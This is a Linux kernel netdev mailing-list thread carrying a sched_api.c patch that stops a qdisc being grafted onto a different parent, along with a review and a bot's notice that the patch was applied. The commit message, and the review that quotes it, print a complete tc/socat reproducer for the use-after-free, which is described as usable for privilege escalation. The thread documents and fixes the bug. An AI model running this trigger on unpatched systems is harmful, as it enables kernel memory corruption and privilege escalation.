[PATCH net v4] net: sched: Disallow replacing of child qdisc from one parent to another

[PATCH net v4] net: sched: Disallow replacing of child qdisc from one parent to another

[Jakub Kicinski]

From: Jamal Hadi Salim <jhs@mojatatu.com>

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent.  b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12.  send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13.  send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Jamal Hadi Salim <jhs@mojatatu.com>
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
---
v4:
 - compare the parent directly from metadata, rather than lookup result
v3: https://lore.kernel.org/20250111151455.75480-1-jhs@mojatatu.com

CC: jhs@mojatatu.com
CC: xiyou.wangcong@gmail.com
CC: jiri@resnulli.us
---
 net/sched/sch_api.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
index 300430b8c4d2..fac9c946a4c7 100644
--- a/net/sched/sch_api.c
+++ b/net/sched/sch_api.c
@@ -1664,6 +1664,10 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
 				q = qdisc_lookup(dev, tcm->tcm_handle);
 				if (!q)
 					goto create_n_graft;
+				if (q->parent != tcm->tcm_parent) {
+					NL_SET_ERR_MSG(extack, "Cannot move an existing qdisc to a different parent");
+					return -EINVAL;
+				}
 				if (n->nlmsg_flags & NLM_F_EXCL) {
 					NL_SET_ERR_MSG(extack, "Exclusivity flag on, cannot override");
 					return -EEXIST;
-- 
2.48.0

Re: [PATCH net v4] net: sched: Disallow replacing of child qdisc from one parent to another

[Simon Horman]

On Wed, Jan 15, 2025 at 05:37:13PM -0800, Jakub Kicinski wrote:
> From: Jamal Hadi Salim <jhs@mojatatu.com>
> 
> Lion Ackermann was able to create a UAF which can be abused for privilege
> escalation with the following script
> 
> Step 1. create root qdisc
> tc qdisc add dev lo root handle 1:0 drr
> 
> step2. a class for packet aggregation do demonstrate uaf
> tc class add dev lo classid 1:1 drr
> 
> step3. a class for nesting
> tc class add dev lo classid 1:2 drr
> 
> step4. a class to graft qdisc to
> tc class add dev lo classid 1:3 drr
> 
> step5.
> tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
> 
> step6.
> tc qdisc add dev lo parent 1:2 handle 3:0 drr
> 
> step7.
> tc class add dev lo classid 3:1 drr
> 
> step 8.
> tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
> 
> step 9. Display the class/qdisc layout
> 
> tc class ls dev lo
>  class drr 1:1 root leaf 2: quantum 64Kb
>  class drr 1:2 root leaf 3: quantum 64Kb
>  class drr 3:1 root leaf 4: quantum 64Kb
> 
> tc qdisc ls
>  qdisc drr 1: dev lo root refcnt 2
>  qdisc plug 2: dev lo parent 1:1
>  qdisc pfifo 4: dev lo parent 3:1 limit 1000p
>  qdisc drr 3: dev lo parent 1:2
> 
> step10. trigger the bug <=== prevented by this patch
> tc qdisc replace dev lo parent 1:3 handle 4:0
> 
> step 11. Redisplay again the qdiscs/classes
> 
> tc class ls dev lo
>  class drr 1:1 root leaf 2: quantum 64Kb
>  class drr 1:2 root leaf 3: quantum 64Kb
>  class drr 1:3 root leaf 4: quantum 64Kb
>  class drr 3:1 root leaf 4: quantum 64Kb
> 
> tc qdisc ls
>  qdisc drr 1: dev lo root refcnt 2
>  qdisc plug 2: dev lo parent 1:1
>  qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
>  qdisc drr 3: dev lo parent 1:2
> 
> Observe that a) parent for 4:0 does not change despite the replace request.
> There can only be one parent.  b) refcount has gone up by two for 4:0 and
> c) both class 1:3 and 3:1 are pointing to it.
> 
> Step 12.  send one packet to plug
> echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
> step13.  send one packet to the grafted fifo
> echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
> 
> step14. lets trigger the uaf
> tc class delete dev lo classid 1:3
> tc class delete dev lo classid 1:1
> 
> The semantics of "replace" is for a del/add _on the same node_ and not
> a delete from one node(3:1) and add to another node (1:3) as in step10.
> While we could "fix" with a more complex approach there could be
> consequences to expectations so the patch takes the preventive approach of
> "disallow such config".
> 
> Joint work with Lion Ackermann <nnamrec@gmail.com>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: Jamal Hadi Salim <jhs@mojatatu.com>
> Signed-off-by: Jakub Kicinski <kuba@kernel.org>
> ---
> v4:
>  - compare the parent directly from metadata, rather than lookup result
> v3: https://lore.kernel.org/20250111151455.75480-1-jhs@mojatatu.com

Reviewed-by: Simon Horman <horms@kernel.org>

Re: [PATCH net v4] net: sched: Disallow replacing of child qdisc from one parent to another

[patchwork-bot+netdevbpf]

Hello:

This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:

On Wed, 15 Jan 2025 17:37:13 -0800 you wrote:
> From: Jamal Hadi Salim <jhs@mojatatu.com>
> 
> Lion Ackermann was able to create a UAF which can be abused for privilege
> escalation with the following script
> 
> Step 1. create root qdisc
> tc qdisc add dev lo root handle 1:0 drr
> 
> [...]

Here is the summary with links:
  - [net,v4] net: sched: Disallow replacing of child qdisc from one parent to another
    https://git.kernel.org/netdev/net/c/bc50835e83f6

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html